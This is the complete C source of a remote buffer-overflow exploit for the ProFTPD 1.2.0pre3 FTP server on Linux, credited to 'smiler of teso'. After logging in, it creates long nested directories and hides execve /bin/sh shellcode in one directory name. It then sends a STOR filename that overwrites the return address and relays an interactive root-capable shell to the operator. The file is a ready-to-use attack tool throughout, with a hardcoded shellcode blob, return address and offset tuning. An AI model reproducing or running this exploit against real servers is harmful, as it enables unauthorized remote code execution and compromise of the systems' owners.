/* proftp exploit for 1.2.0pre3 linux * tested on suse 6.2 * * note, the shorter your domain name is, the more nops there are.... * * comments / criticisms to smiler@tasam.com * * smiler / teso * * [http://teso.scene.at] * */ #include #include #include #include #include #include #include #include #include #define PORT 2666 /* shellcode with 0xff's already doubled up... */ char hellcode[]= "\xeb\x21\x5b\x31\xc0\x31\xd2\x90\xfe\x0b\xfe\x4b\x04" "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\xda\xff\xff" "\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68"; void parse_opts (int argc, char **argv); int resolv (char *hostname, struct in_addr *addr); void usage (char *s); int tcp_connect (struct in_addr addr, unsigned short port); int ftp_command (char *buf, int success, FILE *out, char *fmt, ...); int send_exploit (FILE *stream); int parse_pwd (char *str); int stor_file (FILE *stream, char *buf); void my_put_long (u_char *ptr, unsigned int l); void RunShell (int fd); struct in_addr victim; char init_dir[25], username[25], password[25], hostname[50]; int offset = 0; #define RET_ADDR 0xbffff662 void get_hostname (int fd) { struct hostent *res; struct sockaddr_in sa; int len; fprintf (stderr, "Trying to get hostname...\n"); len = 16; getsockname (fd, (struct sockaddr *)&sa, &len); res = gethostbyaddr ((char *)&sa.sin_addr, sizeof (struct in_addr), AF_INET); if (res == NULL) { fprintf (stderr, "no reverse address found...using ip\n"); strcpy (hostname, inet_ntoa (sa.sin_addr)); } else { strcpy (hostname, res->h_name); } fprintf (stderr,"Hostname: %s\n", hostname); return; } /* open connection to server and call relevant functions */ int talk (void) { int fd; int retval = 0; FILE *stream; char buf[1024]; if ((fd = tcp_connect (victim, 21)) < 0) { perror ("connect"); exit (-1); } if (*hostname == '\0') get_hostname (fd); if ((stream = fdopen (fd, "r")) == NULL) { perror ("fdopen"); exit (-1); } /* get banner */ fgets (buf, sizeof(buf) - 1, stream); fputs (buf, stdout); if (ftp_command (buf, 331, stream, "USER %s\n", username) < 0) { fprintf (stderr, "Bad username\n"); retval = -1; goto err; } if (ftp_command (buf, 230, stream, "PASS %s\n", password) < 0) { fprintf (stderr, "Bad password\n"); retval = -1; goto err; } if (send_exploit (stream) < 0) return (-1); RunShell (fd); err: close (fd); fclose (stream); return (retval); } /* helper function to make the final directory with shellcode in. */ void make_egg (char *buf, int len) { len += 3; /* kludge to offset number of 0xff's in shellcode */ memset (buf, 0x90, len); strcpy (buf + len - strlen (hellcode), hellcode); buf[len] = '\0'; return; } /* * start making directorys and call stor_file() */ int send_exploit (FILE *stream) { int pwdlen, ctr; char buf[1024], tmp[1024]; bzero (buf, sizeof (buf)); if (*init_dir) if (ftp_command (buf, 250, stream, "CWD %s\n", init_dir) < 0) { fprintf (stderr, "Bad start directory\n"); return (-1); } if (ftp_command (buf, 257, stream, "PWD\n") < 0) { fprintf (stderr, "Couldn't get current directory\n"); return (-1); } pwdlen = parse_pwd (buf); bzero (password, sizeof (password)); fprintf (stderr, "Making padding directories\n"); for (ctr = 0; ctr < 4; ctr++) { memset (tmp, 'A', 194); tmp[194] = '\0'; if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) { if (!strstr (buf, "File exists")) { fputs (buf, stderr); return (-1); } } if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) { fputs (buf, stderr); return (-1); } } /* make the padding directory. it also contains the shellcode. * the STORed file will contain the return address */ ctr = 201 - pwdlen - strlen (hostname); if ((ctr+10) < (strlen(hellcode))) { fprintf (stderr, "no space for shellcode - try using a"\ " shorter hostname and/or a shorter starting"\ " directory\n"); return (-1); } make_egg (tmp, ctr); if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) { fputs (buf, stderr); return (-1); } if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) { fputs (buf, stderr); return (-1); } printf ("Press any key to send overflow\n"); getchar (); return (stor_file (stream, buf)); } /* send STOR command to send final part of the overflow */ int stor_file (FILE *stream, char *buf) { u_char *ptr, *ptr2; int listenfd, accfd; struct sockaddr_in sa, tmp; int len; char stor_string[30], ret_string[6]; listenfd = socket (AF_INET, SOCK_STREAM, 0); bzero (&sa, sizeof (sa)); sa.sin_addr.s_addr = htonl (INADDR_ANY); sa.sin_port = htons (0); sa.sin_family = AF_INET; bind (listenfd, (struct sockaddr *)&sa, sizeof (sa)); listen (listenfd, 1); /* get localip and src port */ len = 16; getsockname (fileno (stream), (struct sockaddr *)&tmp, &len); getsockname (listenfd, (struct sockaddr *)&sa, &len); ptr = (char *)&tmp.sin_addr; ptr2 = (char *)&sa.sin_port; if (ftp_command (buf, 200, stream, "PORT " \ "%d,%d,%d,%d,%d,%d\n",ptr[0],ptr[1],ptr[2],ptr[3], ptr2[0], ptr2[1]) < 0) { fputs (buf, stderr); close (listenfd); return (-1); } if (ftp_command (buf, 200, stream, "TYPE I\n") < 0) { close (listenfd); fputs (buf, stderr); return (-1); } bzero (stor_string, sizeof (stor_string)); bzero (ret_string, sizeof (ret_string)); my_put_long (ret_string, RET_ADDR + offset); sprintf (stor_string, "aaaaaaaaaaa%s%s%s%s", ret_string, ret_string, ret_string, ret_string); if (ftp_command (buf, 150, stream, "STOR %s\n", stor_string) < 0) { close (listenfd); fputs (buf, stderr); return (-1); } accfd = accept (listenfd, (struct sockaddr *)&sa, &len); close (listenfd); /* we dont' want to write anything ! */ close (accfd); ftp_command (buf, 226, stream, ""); /* Transfer complete */ return (0); } int main (int argc, char **argv) { puts ("proftp exploit by smiler of teso\n"); parse_opts (argc, argv); talk (); return (0); } void parse_opts (int argc, char **argv) { char c, *argv0; argv0 = strdup (argv[0]); *init_dir = '\0'; *hostname = '\0'; while ((c = getopt (argc, argv, "s:h:o:")) != -1) { switch (c) { case 's': strncpy (init_dir, optarg, sizeof (init_dir)); break; case 'h': strncpy (hostname, optarg, sizeof (hostname)); break; case 'o': offset = atoi (optarg); break; } } argc -= optind; argv += optind; if (argc < 3) usage (argv0); if (!resolv (argv[0], &victim)) { herror ("resolv"); usage (argv0); } strncpy (username, argv[1], sizeof (username)); strncpy (password, argv[2], sizeof (password)); bzero (argv[2], strlen (argv[2])); free (argv0); return; } /* generic function to send a command to an ftp server and * parse the response * compares the return value from the ftp server to 'success' */ int ftp_command (char *buf, int success, FILE *out, char *fmt, ...) { va_list va; char line[2048]; va_start (va, fmt); vsprintf (line, fmt, va); va_end (va); if (send (fileno (out), line, strlen (line), 0) <= 0) return (-1); for (;;) { fgets (line, sizeof (line) - 1, out); if (*(line + 3) != '-') break; } strncpy (buf, line, 1024); if (success != atoi (line)) return (-1); return (1); } int parse_pwd (char *str) { char *ptr, *ptr2; ptr = strchr (str, '\"'); if (!ptr++) return (0); ptr2 = strchr (ptr + 1, '\"'); if (!ptr2) return (0); *ptr2-- = '\0'; while (*ptr2 == '/') *ptr2-- = '\0'; printf ("Start dir = %s\n", ptr); return (strlen (ptr)); } int tcp_connect (struct in_addr addr, unsigned short port) { struct sockaddr_in sa; int fd; fd = socket (AF_INET, SOCK_STREAM, 0); if (fd < 0) return (-1); bzero (&sa, sizeof (sa)); sa.sin_family = AF_INET; sa.sin_port = htons (port); sa.sin_addr.s_addr = victim.s_addr; if (connect (fd, (struct sockaddr *)&sa, sizeof (sa)) < 0) return (-1); return (fd); } int resolv (char *hostname, struct in_addr *addr) { struct hostent *res; if (inet_aton (hostname, addr)) return (1); res = gethostbyname (hostname); if (res == NULL) return (0); memcpy ((char *)addr, res->h_addr, sizeof (struct in_addr)); return (1); } void usage (char *s) { fprintf (stderr,"usage: %s ", s); fputs ("[-s start directory] [-h your hostname]\n", stderr); exit (-1); } /* used to put the return address into the egg, doubling up the 0xff's */ void my_put_long (u_char *ptr, unsigned int l) { int i; u_char *ptr2; ptr2 = (char *)&l; for (i = 0; i < 4; i++) { *ptr++ = *ptr2; if (*ptr2 == 0xff) *ptr++ = 0xff; ptr2++; } return; } void RunShell (int fd) { u_char buf[1024]; fd_set rset; int n; for (;;) { FD_ZERO (&rset); FD_SET (fd, &rset); FD_SET (STDIN_FILENO, &rset); n = select (fd + 1, &rset, NULL, NULL, NULL); if (n <= 0) { perror ("select"); return; } if (FD_ISSET (fd, &rset)) { n = recv (fd, buf, sizeof (buf), 0); if (n <= 0) { fprintf (stderr, "Connection closed.\n"); return; } write (STDOUT_FILENO, buf, n); } if (FD_ISSET (STDIN_FILENO, &rset)) { n = read (STDIN_FILENO, buf, sizeof (buf)); if (n <= 0) return; send (fd, buf, n, 0); } } }